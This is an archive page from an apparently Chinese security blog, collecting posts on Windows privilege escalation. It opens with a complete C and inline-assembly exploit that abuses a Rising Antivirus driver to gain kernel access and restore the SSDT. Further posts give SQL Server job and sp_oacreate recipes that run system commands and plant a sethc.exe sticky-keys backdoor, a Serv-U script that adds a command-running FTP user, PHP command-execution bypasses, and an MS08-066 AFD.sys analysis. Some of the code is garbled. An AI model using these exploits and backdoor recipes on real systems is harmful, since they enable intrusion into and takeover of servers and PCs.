存档

文章标签 ‘提权’

瑞星本地提权通杀利用代码

2010年1月31日 Chinadu 没有评论

编译后,运行此程序,可在ring3下直接恢复其ssdt,然后就可以为所欲为了,刚才测试1月28日对瑞星2010版有效,据说也适用于2009和 2008版本

//MY Blog:http://hi.baidu.com/9908006

//MY QQ:165659238

//VC-ConsoleWithApi

#include "stdafx.h"

#include "windows.h"

enum { SystemModuleInformation = 11 };

typedef struct {

ULONG Unknown1;

ULONG Unknown2;

PVOID Base;

ULONG Size;

ULONG Flags;

USHORT Index;

USHORT NameLength;

USHORT LoadCount;

USHORT PathLength;

CHAR ImageName[256];

} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;

typedef struct {

ULONG Count;

SYSTEM_MODULE_INFORMATION_ENTRY Module[1];

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

HANDLE g_RsGdiHandle = 0 ;

void __stdcall WriteKVM(PVOID Address , ULONG Value)

{

ULONG ColorValue = Value ;

ULONG btr ;

ULONG ColorBuffer = 0 ;

DeviceIoControl(g_RsGdiHandle ,

0x83003C0B,

&ColorValue ,

sizeof(ULONG),

&ColorBuffer ,

sizeof(ULONG),

&btr ,

0

);

DeviceIoControl(g_RsGdiHandle ,

0x83003C0B,

&ColorValue ,

sizeof(ULONG),

Address ,

sizeof(ULONG),

&btr ,

0

);

return ;

}

void AddCallGate()

{

ULONG Gdt_Addr;

ULONG CallGateData[0x4];

ULONG Icount;

__asm

{

push edx

sgdt [esp-2]

pop edx

mov Gdt_Addr , edx

}

__asm

{

push 0xc3

push Gdt_Addr

call WriteKVM

mov eax,Gdt_Addr

mov word ptr[CallGateData],ax

shr eax,16

mov word ptr[CallGateData+6],ax

mov dword ptr[CallGateData+2],0x0ec0003e8

mov dword ptr[CallGateData+8],0x0000ffff

mov dword ptr[CallGateData+12],0x00cf9a00

xor eax,eax

LoopWrite:

mov edi,dword ptr CallGateData[eax]

push edi

mov edi,Gdt_Addr

add edi,0x3e0

add edi,eax

push edi

mov Icount,eax

call WriteKVM

mov eax,Icount

add eax , 0x4

cmp eax,0x10

jnz LoopWrite

}

return ;

}

void IntoR0(PVOID function)

{

WORD Callgt[3];

Callgt[0] = 0;

Callgt[1] = 0;

Callgt[2] = 0x3e3;

__asm

{

call fword ptr[Callgt]

mov eax,esp

mov esp,[esp+4]

push eax

call function

pop esp

push offset ring3Ret

retf

ring3Ret:

nop

}

return ;

}

#pragma pack(1)

typedef struct _IDTR

{

SHORT IDTLimit;

UINT IDTBase;

}IDTR,

*PIDTR,

**PPIDTR;

#pragma pack()

ULONG g_RealSSDT = 0 ;

ULONG ServiceNum = 0 ;

ULONG OrgService [0x1000] ;

ULONG RvaToOffset(IMAGE_NT_HEADERS *NT, ULONG Rva)

{

ULONG Offset = Rva, Limit;

IMAGE_SECTION_HEADER *Img;

WORD i;

Img = IMAGE_FIRST_SECTION(NT);

if (Rva < Img->PointerToRawData)

return Rva;

for (i = 0; i < NT->FileHeader.NumberOfSections; i++)

{

if (Img.SizeOfRawData)

Limit = Img.SizeOfRawData;

else

Limit = Img.Misc.VirtualSize;

if (Rva >= Img.VirtualAddress &&

Rva < (Img.VirtualAddress + Limit))

{

if (Img.PointerToRawData != 0)

{

Offset -= Img.VirtualAddress;

Offset += Img.PointerToRawData;

}

return Offset;

}

}

return 0;

}

#define ibaseDD *(PDWORD)&ibase

DWORD GetHeaders(PCHAR ibase, PIMAGE_FILE_HEADER *pfh, PIMAGE_OPTIONAL_HEADER *poh, PIMAGE_SECTION_HEADER *psh)

{

PIMAGE_DOS_HEADER mzhead=(PIMAGE_DOS_HEADER)ibase;

if ((mzhead->e_magic!=IMAGE_DOS_SIGNATURE)||(ibaseDD[mzhead->e_lfanew]!=IMAGE_NT_SIGNATURE)) return FALSE;

*pfh=(PIMAGE_FILE_HEADER)&ibase[mzhead->e_lfanew];

if (((PIMAGE_NT_HEADERS)*pfh)->Signature!=IMAGE_NT_SIGNATURE) return FALSE;

*pfh=(PIMAGE_FILE_HEADER)((PBYTE)*pfh+sizeof(IMAGE_NT_SIGNATURE));

*poh=(PIMAGE_OPTIONAL_HEADER)((PBYTE)*pfh+sizeof(IMAGE_FILE_HEADER));

if ((*poh)->Magic!=IMAGE_NT_OPTIONAL_HDR32_MAGIC) return FALSE;

*psh=(PIMAGE_SECTION_HEADER)((PBYTE)*poh+sizeof(IMAGE_OPTIONAL_HEADER));

return TRUE;

}

typedef struct {

WORD offset:12;

WORD type:4;

} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

#define RVATOVA(base,offset) ((PVOID)((DWORD)(base)+(DWORD)(offset)))

DWORD FindKiServiceTable(HMODULE hModule,DWORD dwKSDT , PULONG ImageBase)

{

PIMAGE_FILE_HEADER pfh;

PIMAGE_OPTIONAL_HEADER poh;

PIMAGE_SECTION_HEADER psh;

PIMAGE_BASE_RELOCATION pbr;

PIMAGE_FIXUP_ENTRY pfe;

DWORD dwFixups=0,i,dwPointerRva,dwPointsToRva,dwKiServiceTable;

BOOL bFirstChunk;

GetHeaders((PCHAR)hModule,&pfh,&poh,&psh);

if ((poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress) &&

(!((pfh->Characteristics)&IMAGE_FILE_RELOCS_STRIPPED))) {

pbr=(PIMAGE_BASE_RELOCATION)RVATOVA(poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress,hModule);

bFirstChunk=TRUE;

while (bFirstChunk || pbr->VirtualAddress) {

bFirstChunk=FALSE;

pfe=(PIMAGE_FIXUP_ENTRY)((DWORD)pbr+sizeof(IMAGE_BASE_RELOCATION));

for (i=0;i<(pbr->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))>>1;i++,pfe++) {

if (pfe->type==IMAGE_REL_BASED_HIGHLOW) {

dwFixups++;

dwPointerRva=pbr->VirtualAddress+pfe->offset;

dwPointsToRva=*(PDWORD)((DWORD)hModule+dwPointerRva)-(DWORD)poh->ImageBase;

if (dwPointsToRva==dwKSDT)

{

if (*(PWORD)((DWORD)hModule+dwPointerRva-2)==0x05c7)

{

dwKiServiceTable=*(PDWORD)((DWORD)hModule+dwPointerRva+4)-poh->ImageBase;

*ImageBase = poh->ImageBase;

return dwKiServiceTable;

}

}

}

}

*(PDWORD)&pbr+=pbr->SizeOfBlock;

}

}

return 0;

}

DWORD CR0Reg ;

ULONG realssdt ;

void InKerneProc()

{

__asm

{

cli

mov eax, cr0

mov CR0Reg,eax

and eax,0xFFFEFFFF

mov cr0, eax

}

int i;

for (i = 0; i < (int)ServiceNum; i++)

{

*(ULONG*)(*(ULONG*)realssdt + i * sizeof(ULONG)) = OrgService;

}

__asm

{

mov eax, CR0Reg

mov cr0, eax

sti

}

}

int main(int argc, char* argv[])

{

printf("Rising AntiVirus 2008 ~ 2010 n"

"Local Privilege Escalation Vulnerability Proof Of Concept Exploitn 2010-1-27n");

g_RsGdiHandle = CreateFile("[url=]\\.\RSNTGDI[/url]" ,

0,

FILE_SHARE_READ | FILE_SHARE_WRITE ,

0,

OPEN_EXISTING , 0 , 0 );

if (g_RsGdiHandle == INVALID_HANDLE_VALUE)

{

return 0 ;

}

SYSTEM_MODULE_INFORMATION ModuleInfo ;

// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address

HMODULE hlib = GetModuleHandle("ntdll.dll");

PVOID pNtQuerySystemInformation = GetProcAddress(hlib , "NtQuerySystemInformation");

ULONG infosize = sizeof(ModuleInfo);

__asm

{

push 0

push infosize

lea eax , ModuleInfo

push eax

push 11

call pNtQuerySystemInformation

}

HMODULE KernelHandle ;

LPCSTR ntosname = (LPCSTR)((ULONG)ModuleInfo.Module[0].ImageName + ModuleInfo.Module[0].PathLength);

// Load the kernel image specified

KernelHandle = LoadLibrary(ntosname);

if (KernelHandle == 0 )

{

return 0 ;

}

ULONG KeSSDT = (ULONG)GetProcAddress(KernelHandle , "KeServiceDescriptorTable");

if (KeSSDT == 0 )

{

return 0 ;

}

ULONG ImageBase = 0 ;

ULONG KiSSDT = FindKiServiceTable(KernelHandle , KeSSDT - (ULONG)KernelHandle , &ImageBase);

if (KiSSDT == 0 )

{

return 0 ;

}

KiSSDT += (ULONG)KernelHandle;

ServiceNum = 0x11c ;

ULONG i ;

for (i = 0 ; i < ServiceNum ; i ++)

{

OrgService = *(ULONG*)(KiSSDT + i * sizeof(ULONG)) + (ULONG)ModuleInfo.Module[0].Base - ImageBase;

}

realssdt = KeSSDT - (ULONG)KernelHandle + (ULONG)ModuleInfo.Module[0].Base;

SetThreadAffinityMask(GetCurrentThread () , 0 ) ;

AddCallGate();

IntoR0(InKerneProc);

return 0;

}

分类: 技术文章 标签: , ,

关于搜狗拼音输入法提权的应用

2009年12月22日 Chinadu 没有评论

朋友提权上遇到困难,2003系统,常规方法都无效。能访问的目录只有网站目录和C:Program Files。所以我仔细看了下Program Files的所有文件夹,搜狗输入法的目录( C:Program FilesSogouInput4.3.0.3315 )是唯一一个有权限写入编辑的目录。那么替换里面的执行文件就是目前唯一方法了。

乍看这目录,显然自动升级程序 pinyinup.exe 应该是首选,在自己机器上测试了一下,用计算器替换了源文件,不过等了半天不运行,重启也一样。虽然肯定会运行,但还是希望有更有效率的方法。仔细看了一 下,每次启动系统后,搜狗的ImeUtil.exe 都会启动,那就替换它了,结果肯定是成功的。但感觉不够,越多可换的就越好。让效率达到最高。这时觉得这种简单的事情应该有人已经做过了,百度一下取取 经,不出所料,已经有人这么做过了,这位仁兄替换的也是PinyinUp.exe,但这样就满足了,没有继续了。

阅读全文...

分类: 技术文章 标签: ,

Serv-U FTP Server v8 本地提权

2009年8月5日 Chinadu 没有评论

作者:空虚浪子心

发布日期:2009-08-05
更新日期:2009-08-05

受影响系统:
serv-u8

不受影响系统:
其他版本不受影响

描述:
看cnbeta发现su出8这个版本了。
想想以前写过一个7的本地提权。
不知道8有什么安全方面的更改。
下载来研究下,发现居然还是可以提权的,只是su7的那个不能直接用,稍微修改了下执行的流程。

Su8的管理平台是http的,继承了su7的方式。
抓包,分析,发现了以下路程是可以利用的。
1, 管理员从管理控制台打开web页面时,是不需要验证密码的。
2, 管理员如果用某URL打开web页面时,虽然需要输入密码,但是无论输入什么,都可以进入。“/?Session=39893&Language=zh,CN&LocalAdmin=1”
3, 管理员可以添加用户有两种,一种是全局用户,一种是某个域下的用户。而权限设置也是两种,一种是全局,一种是针对用户。
4, 管理员添加了用户的这个包和设置权限这个包,是分开的。
所以,我可以抓包然后转换成php的socket连接post出去。
最后在用经典的ftp登陆,exec命令。达到提权。

前面su7已经说了很多,这里简单的说下好了。
.....登陆什么的。
1,获取ID。
2,给这个id添加权限。
3,给这个id赋予用户名,密码,目录,权限。
4,登陆后执行系统命令。

这段代码是不能直接当工具使用的。

<*来源:kxlzx(www.inbreak.net
*>

测试方法:

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

阅读全文...

分类: 技术文章 标签: ,

针对Dbowner权限下的提权脚本(转)

2009年7月23日 Chinadu 没有评论

一个针对MMSQL 2000 下的提权脚本,Dbowner提权网络上大部分都是备份到启动项后通过重启服务器达到提权的目的.但效果并不理想.其实在MMSQL 中如果开启了 SQL Server Agent 服务的话可以通过低权限下建立帐户

代码:

EXEC sp_add_job @job_name = 'jktest', @enabled = 1, @delete_level = 1 EXEC sp_add_jobstep @job_name = 'jktest', @step_name = 'ExeC my sql', @subsystem = 'TSQL', @CommAnd = 'exeC master..xp_exeCresultSet N''seleCt ''''exeC master..xp_Cmdshell "<% =Serverdos%>>C:\jk.txt"'''''',N''Master''' EXEC sp_add_jobServer @job_name = 'jktest', @Server_name = '<%=Servername%>' EXEC sp_start_job @job_name = 'jktest'

其实这个方法早就有了,不过还没有特定的Dbowner提权脚本, 我简单的写了个脚本程序,方便使用.不过这个方法我已经在ASP.NET Web BackDoor中加入了这个功能. 下载地址: http://www.ahiec.net/ewebeditor/UploadFile/dbsql.rar

分类: 技术文章 标签:

关于html本地权限问题

2009年5月14日 Chinadu 没有评论

作者:lcx

最近看了两篇文章,一篇是Google Chrome使用ajax读取本地文件漏洞,另一篇是本地执行ajax的权限问题,对此我有一点自己的想法,我认为这都不算是安全问题,好像这两篇文章没有对本地html的权限有足够的了解。

举两个例子,一个是html读出本地txt内容,一个是html操作本地数据库,关键是用户允许执行本地的js了。

如果还不清楚html权限有足够大的话,请执行C:\WINDOWS\pchealth\helpctr\System\sysinfo下面的相关的html,如C:\WINDOWS\pchealth\helpctr\System\sysinfo\sysinfosum.htm,你就有足够的了解。

如果有了用户执行本地active权限的操作,对IE来讲是不分浏览器的版本的,像html读出本地txt内容同样在IE8下就适用(win7+ie8以及xpsp2+ie7测试通过)。所以我认为空虚浪子心发的一会对这个浏览器测试一会对那个浏览器测试ajax读本地内容,以及xeye团队对这个议题研究的意义不大,本身是允许用户执行了本地js了。

如果没有提示来执行的话,才算是安全问题。举个例子,像ms06014网马在xp系统上补丁打了,你本地执行ms06014网马,如果一步一步允许所有执行都同意的话,它同样是可以执行的。

一家之言,希望以上两篇文章的作者不要骂我。

分类: 技术文章 标签:

Windows XP 核心驱动 AFD.sys 本地权限提升漏洞分析(MS08-066)

2008年10月16日 Chinadu 没有评论

Author:  Polymorphours
Email:   Polymorphours@whitecell.org
Homepage:http://www.whitecell.org
Date:    2008-10-15

漏洞模块: AFD.sys
漏洞类型: 任意内核地址可写

这个漏洞又是一个可以写任意内核地址的漏洞,产生这个漏洞的原因是 ProbeForWrite 函数因为检查长度为 0 的Buffer被绕过。下面看下具体漏洞的情况,这个漏洞出现在函数AfdGetRemoteAddress 中,当传入的第7个参数为 0 的时候,ProbeForWrite的检查形同虚设了。
注意第六个参数 PVOID Address, 它是由 Irp->UserBuffer 传入的,而 SIZE_T Length 为OutputBufferLength,那么如果在 DeviceIoControl 中的 OutputBuffer 设置成内核需要写的地址,OutputBufferLength 设置为 0,并设置正确的 IoDeviceCode 即可触发这个漏洞.

PAGE:00017D17 ; int __stdcall AfdGetRemoteAddress(int,int,char,int,int,PVOID Address,SIZE_T Length,int)
PAGE:00017D17 __stdcall AfdGetRemoteAddress(x, x, x, x, x, x, x, x) proc near
PAGE:00017D17 ; DATA XREF: .data:0001230Co
PAGE:00017D17
PAGE:00017D17 var_24 = dword ptr -24h
PAGE:00017D17 var_20 = dword ptr -20h
PAGE:00017D17 var_1C = dword ptr -1Ch
PAGE:00017D17 ms_exc = CPPEH_RECORD ptr -18h
PAGE:00017D17 arg_0 = dword ptr 8
PAGE:00017D17 arg_8 = byte ptr 10h
PAGE:00017D17 Address = dword ptr 1Ch
PAGE:00017D17 Length = dword ptr 20h
PAGE:00017D17 arg_1C = dword ptr 24h
PAGE:00017D17
PAGE:00017D17 push 14h
PAGE:00017D19 push offset unk_11B00
PAGE:00017D1E call __SEH_prolog
PAGE:00017D1E
PAGE:00017D23 mov eax, [ebp+arg_0]
PAGE:00017D26 mov ebx, [eax+0Ch]
PAGE:00017D29 mov [ebp+var_24], ebx
PAGE:00017D2C xor esi, esi
PAGE:00017D2E mov eax, [ebp+arg_1C]
PAGE:00017D31 mov [eax], esi
PAGE:00017D33 push ebx
PAGE:00017D34 call AfdLockEndpointContext(x)
PAGE:00017D34
PAGE:00017D39 mov [ebp+var_20], eax
PAGE:00017D3C cmp eax, esi
PAGE:00017D3E jz loc_17DE0
PAGE:00017D3E
PAGE:00017D44 cmp word ptr [ebx], 0AFD2h
PAGE:00017D49 jnz loc_17DE0
PAGE:00017D49
PAGE:00017D4F cmp byte ptr [ebx+2], 3
PAGE:00017D53 jnz loc_17DE0
PAGE:00017D53
PAGE:00017D59 movzx eax, word ptr [ebx+5Ah]
PAGE:00017D5D movzx ecx, word ptr [ebx+58h]
PAGE:00017D61 add ecx, eax
PAGE:00017D63 cmp ecx, [ebx+74h]
PAGE:00017D66 ja short loc_17DE0
PAGE:00017D66
PAGE:00017D68 cmp [ebp+Length], eax
<----这里检查Buffer大小,如果Buffer大于规定的大小就有默认的大小来代替
PAGE:00017D6B jnb short loc_17D76
PAGE:00017D6B
PAGE:00017D6D mov [ebp+var_1C], 80000005h
PAGE:00017D74 jmp short loc_17D7C
<----最终导致问题点: 如果BufferLength小于的话,居然还能继续运行它向下运行
PAGE:00017D74
PAGE:00017D76 ; ---------------------------------------------------------------------------
PAGE:00017D76
PAGE:00017D76 loc_17D76: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+54j
PAGE:00017D76 mov [ebp+Length], eax
<---用规定的长度代替
PAGE:00017D79 mov [ebp+var_1C], esi
PAGE:00017D79
PAGE:00017D7C
PAGE:00017D7C loc_17D7C: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+5Dj
PAGE:00017D7C mov [ebp+ms_exc.disabled], esi
PAGE:00017D7F cmp [ebp+arg_8], 0
PAGE:00017D83 jz short loc_17D93
PAGE:00017D83
PAGE:00017D85 push 1 ; Alignment
PAGE:00017D87 push [ebp+Length] ; Length
PAGE:00017D8A push [ebp+Address] ; Address
PAGE:00017D8D call ds:ProbeForWrite(x,x,x)
<---如果 ebp+Length为0,那么检查被绕过
PAGE:00017D8D
PAGE:00017D93
PAGE:00017D93 loc_17D93: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+6Cj
PAGE:00017D93 movzx ecx, word ptr [ebx+5Ah]
PAGE:00017D97 movzx esi, word ptr [ebx+58h]
PAGE:00017D9B add esi, [ebp+var_20]
PAGE:00017D9E mov edi, [ebp+Address]
<--- memcpy的代码,拷贝数据到UserBuffer中
PAGE:00017DA1 mov eax, ecx
PAGE:00017DA3 shr ecx, 2
PAGE:00017DA6 rep movsd
PAGE:00017DA8 mov ecx, eax
PAGE:00017DAA and ecx, 3
PAGE:00017DAD rep movsb
PAGE:00017DAF mov eax, [ebx+74h]
PAGE:00017DB2 mov ecx, [ebp+arg_1C]
PAGE:00017DB5 mov [ecx], eax
PAGE:00017DB7 or [ebp+ms_exc.disabled], 0FFFFFFFFh
PAGE:00017DBB jmp short loc_17DE7
PAGE:00017DBB
PAGE:00017DBB ; ---------------------------------------------------------------------------
PAGE:00017DBD align 10h
PAGE:00017DC0 db 2 dup(90h)
PAGE:00017DC2 ; ---------------------------------------------------------------------------
PAGE:00017DC2
PAGE:00017DC2 loc_17DC2: ; DATA XREF: .rdata:00011B04o
PAGE:00017DC2 lea eax, [ebp-1Ch]
PAGE:00017DC5 push eax
PAGE:00017DC6 push dword ptr [ebp-14h]
PAGE:00017DC9 call AfdExceptionFilter(x,x)
PAGE:00017DC9
PAGE:00017DCE retn

在看看补丁的情况

PAGE:00017D17 ; int __stdcall AfdGetRemoteAddress(int,int,char,int,int,PVOID Address,int,int)
PAGE:00017D17 __stdcall AfdGetRemoteAddress(x, x, x, x, x, x, x, x) proc near
PAGE:00017D17 ; DATA XREF: .data:0001230Co
PAGE:00017D17
PAGE:00017D17 var_24 = dword ptr -24h
PAGE:00017D17 var_20 = dword ptr -20h
PAGE:00017D17 var_1C = dword ptr -1Ch
PAGE:00017D17 ms_exc = CPPEH_RECORD ptr -18h
PAGE:00017D17 arg_0 = dword ptr 8
PAGE:00017D17 arg_8 = byte ptr 10h
PAGE:00017D17 Address = dword ptr 1Ch
PAGE:00017D17 arg_18 = dword ptr 20h
PAGE:00017D17 arg_1C = dword ptr 24h
PAGE:00017D17
PAGE:00017D17 push 14h
PAGE:00017D19 push offset unk_11B00
PAGE:00017D1E call __SEH_prolog
PAGE:00017D1E
PAGE:00017D23 mov eax, [ebp+arg_0]
PAGE:00017D26 mov ebx, [eax+0Ch]
PAGE:00017D29 mov [ebp+var_24], ebx
PAGE:00017D2C xor esi, esi
PAGE:00017D2E mov eax, [ebp+arg_1C]
PAGE:00017D31 mov [eax], esi
PAGE:00017D33 push ebx
PAGE:00017D34 call AfdLockEndpointContext(x)
PAGE:00017D34
PAGE:00017D39 mov [ebp+var_20], eax
PAGE:00017D3C cmp eax, esi
PAGE:00017D3E jz loc_17DDB
PAGE:00017D3E
PAGE:00017D44 cmp word ptr [ebx], 0AFD2h
PAGE:00017D49 jnz loc_17DDB
PAGE:00017D49
PAGE:00017D4F cmp byte ptr [ebx+2], 3
PAGE:00017D53 jnz loc_17DDB
PAGE:00017D53
PAGE:00017D59 movzx eax, word ptr [ebx+5Ah]
PAGE:00017D5D movzx ecx, word ptr [ebx+58h]
PAGE:00017D61 add ecx, eax
PAGE:00017D63 cmp ecx, [ebx+74h]
PAGE:00017D66 ja short loc_17DDB
PAGE:00017D66
PAGE:00017D68 cmp [ebp+arg_18], eax
PAGE:00017D6B jnb short loc_17D76
PAGE:00017D6B
PAGE:00017D6D mov [ebp+var_1C], 80000005h
PAGE:00017D74 jmp short loc_17DE2
<---补丁就是在这里,如果访问的BufferLength小于规定的大小,那么直接返回错误
PAGE:00017D74
PAGE:00017D76 ; ---------------------------------------------------------------------------
PAGE:00017D76
PAGE:00017D76 loc_17D76: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+54j
PAGE:00017D76 mov [ebp+var_1C], esi
PAGE:00017D79 mov [ebp+ms_exc.disabled], esi
PAGE:00017D7C cmp [ebp+arg_8], 0
PAGE:00017D80 jz short loc_17D8E
PAGE:00017D80
PAGE:00017D82 push 1 ; Alignment
PAGE:00017D84 push eax ; Length
PAGE:00017D85 push [ebp+Address] ; Address
PAGE:00017D88 call ds:ProbeForWrite(x,x,x)
PAGE:00017D88
PAGE:00017D8E
PAGE:00017D8E loc_17D8E: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+69j
PAGE:00017D8E movzx ecx, word ptr [ebx+5Ah]
PAGE:00017D92 movzx esi, word ptr [ebx+58h]
PAGE:00017D96 add esi, [ebp+var_20]
PAGE:00017D99 mov edi, [ebp+Address]
PAGE:00017D9C mov eax, ecx
PAGE:00017D9E shr ecx, 2
PAGE:00017DA1 rep movsd
PAGE:00017DA3 mov ecx, eax
PAGE:00017DA5 and ecx, 3
PAGE:00017DA8 rep movsb
PAGE:00017DAA mov e
ax, [ebx+74h]
PAGE:00017DAD mov ecx, [ebp+arg_1C]
PAGE:00017DB0 mov [ecx], eax
PAGE:00017DB2 or [ebp+ms_exc.disabled], 0FFFFFFFFh
PAGE:00017DB6 jmp short loc_17DE2
PAGE:00017DB6
PAGE:00017DB6 ; ---------------------------------------------------------------------------
PAGE:00017DB8 dd 90909090h
PAGE:00017DBC db 90h
PAGE:00017DBD ; ---------------------------------------------------------------------------
PAGE:00017DBD
PAGE:00017DBD loc_17DBD: ; DATA XREF: .rdata:00011B04o
PAGE:00017DBD lea eax, [ebp-1Ch]
PAGE:00017DC0 push eax
PAGE:00017DC1 push dword ptr [ebp-14h]
PAGE:00017DC4 call AfdExceptionFilter(x,x)
PAGE:00017DC4
PAGE:00017DC9 retn
PAGE:00017DC9
PAGE:00017DC9 ; ---------------------------------------------------------------------------
PAGE:00017DCA align 4
PAGE:00017DCC db 3 dup(90h)
PAGE:00017DCF ; ---------------------------------------------------------------------------
PAGE:00017DCF
PAGE:00017DCF loc_17DCF: ; DATA XREF: .rdata:00011B08o
PAGE:00017DCF mov esp, [ebp-18h]
PAGE:00017DD2 or dword ptr [ebp-4], 0FFFFFFFFh
PAGE:00017DD6 mov ebx, [ebp-24h]
PAGE:00017DD9 jmp short loc_17DE2
PAGE:00017DD9
PAGE:00017DDB ; ---------------------------------------------------------------------------
PAGE:00017DDB
PAGE:00017DDB loc_17DDB: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+27j
PAGE:00017DDB ; AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+32j
PAGE:00017DDB ; AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+3Cj
PAGE:00017DDB ; AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+4Fj
PAGE:00017DDB mov [ebp+var_1C], 0C0000140h
PAGE:00017DDB
PAGE:00017DE2
PAGE:00017DE2 loc_17DE2: ; CODE XREF: AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+5Dj
PAGE:00017DE2 ; AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+9Fj
PAGE:00017DE2 ; AfdGetRemoteAddress(x,x,x,x,x,x,x,x)+C2j
PAGE:00017DE2 push [ebp+var_20]
PAGE:00017DE5 push ebx
PAGE:00017DE6 call AfdUnlockEndpointContext(x,x)
PAGE:00017DE6
PAGE:00017DEB mov eax, [ebp+var_1C]
PAGE:00017DEE call __SEH_epilog
PAGE:00017DEE
PAGE:00017DF3 retn 20h

剩下的就是exploit它了,具体的方法也很简单,可以参照以前在 www.whitecell.org 上的代码。

WSS(Whitecell Security Systems),一个非营利性民间技术组织,致力于各种系统安全技术的研究。坚持传统的hacker精神,追求技术的精纯。
WSS 主页:http://www.whitecell.org/
WSS 论坛:http://www.whitecell.org/forums/

分类: 技术文章 标签: , ,

sa 无xp_cmdshell下提限又一简单方法

2007年12月10日 Chinadu 2 条评论

有了sa但无xp_cmdshell ,怎么恢复都提示出错。好象是xxxx.cpp哪里哪里出错。或者找不到指定模块,反正我遇到好多次了。在用exec sp_oacreate 'wscript.shell'也没办法的情况下。。可用此方法
(很多服务器都把'wscript.shell'给删了。)
看到既然能用sp_oacreate,sp_oamethod来弄'wscript.shell'或者scripting.filesystemobject
网上看到的文章都只有几个用法就是'wscript.shell'执行命令或者scripting.filesystemobject来写入木马或读取文件。于是乎应该可以也能复制,删除文件吧。。
上网找了些资料,得到下面方法:
复制文件:

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out 
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

declare @oo int
exec sp_oacreate 'scripting.filesystemobject', @oo out 
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

成功后3389登陆按五次shift键。成功进入服务器。一直向上点”我的电脑“右键“管理” 用户管理直接加用户。
此法随无技术可言,希望对某些人有点用。

分类: 技术文章 标签: ,

SERV-U 6.4提权方法,通杀SERV-U版本

2007年11月24日 Chinadu 没有评论

修改ftpport为21

修改newdomain后面的goldsun| IP(为要提权的服务器的IP地址)|

修改newuser后面的 -IP=IP地址和上面一样(为要提权的服务器的IP地址)...OK.....提权...会用FTP增加一个可以

执行命令的用户.....有个这个用户什么不能做哈.....

ftpport = 65500
timeout=3
loginuser = "User " & user & vbCrLf
loginpass = "Pass " & pass & vbCrLf
deldomain = "-DeleteDOMAIN" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & " PortNo=" & ftpport & vbCrLf
mt = "SITE MAINTENANCE" & vbCrLf
newdomain = "-SETDOMAIN" & vbCrLf & "-Domain=goldsun|0.0.0.0|" & ftpport & "|-1|1|0" & vbCrLf & "-TZOEnable=0" & vbCrLf & " TZOKey=" & vbCrLf
newuser = "-SETUSERSETUP" & vbCrLf & "-IP=0.0.0.0" & vbCrLf & "-PortNo=" & ftpport & vbCrLf & "-User=go" & vbCrLf & "-Password=od" & vbCrLf & _ 

分类: 技术文章 标签: ,

Serv-U提权综合工具

2006年10月7日 Chinadu 没有评论

Serv-U提权综合工具 by 执着我一生[F.S.T]

=============
说明
=============
1.生成的文件都和本程序在同一目录下。[被杀自己想办法:)]

2.口令读取的方法比较笨,要和版本正确对应,否则读不出来。目前支持的版本还不全。

3.使用过程中,如果你发现什么Bug或是有好的建议请与我联系。不胜感激!

4.开发环境:VC6.0sp6 + XPSP2

用ASProtect加壳

文件md5校验值:5377a1ae7994a100d8207a833cfa8542

ps:感谢狗剩兄弟的无私帮助!!![告诉我动态定位读取口令的方法,本人不才,还不能完美实现,目前

还在改进中:)]

=============
声明
=============

1.本软件仅供技术研究,请不要用于非法用途.对使用本软件造成的任何后果作者一概不负责!

2.本软件为免费软件,您可以随意使用但请不要对软件进行更改,传播过程中也请您保持软件的完整性.版权归原作者执着我一生[F.S.T]所有.

=============
联系方式
=============

My Blog: http://www.allife.org

Email : elong2008@126.com

QQ : 61006284

分类: 资源共享 标签: ,

突破WIN2003 PHP服务器的新思路

2006年9月28日 Chinadu 没有评论

从WIN2000到WIN XP, 再到WIN2003, MS IIS服务器安全性的提高是显而易见的。 在WIN2000中, 一个普通的PHP SHELL便能把它打垮; 在WIN XP, 即使Safe mode = off,你也无法用system() 等函数执行系统命令, 但是我们还能用com()函数进行突破;到WIN 2003,即使IIS 和PHP都是默认安装,你用system(), com()也可能拿它没辙。这时候你就不得不使用一些新的方法来进行突破了。

1、disable_functions的突破

在php -4.0.1以上的版本,php.ini里引入了一项功能disable_functions , 这个功能比较有用,可以用它禁止一些函数。比如在php.ini里加上disable_functions = passthru exec system popen 那么在执行这些函数的时候将会提示Warning: system() has been disabled for security reasons,同时程序终止运行。但是也不是没有办法执行系统命令了。因为php采用了很多perl的特性,比如还可以用(`)来执行命令,示例代码如下:

<?
$output = `ls -al`;
echo "<pre>$output</pre>";
?>

据说这个只有设成safe_mode为on才能避免,但上次我在一台国外的服务器上使用的时候还是失败了,人并不是什么时候都能那么走运的:)

2、dl()函数的应用

当任何PHP的内部命令执行数和''都无法使用的时候,可以尝试dl(),该方法只能用于safe mode=off, 因为它在安全模式下是被禁用的。利用dl()你可以直接调用W32api 函数,可惜这个扩展已被移动到 PECL 库中,且自PHP 5.1.0以下版本起不再被绑定。以下是手册里的例子:

// 加载此扩展
dl("php_w32api.dll");

// 注册 GetTickCount 函数,来自 kernel32.dll
w32api_register_function("kernel32.dll",
"GetTickCount",
"long");

// 注册 MessageBoxA 函数,来自 User32.dll
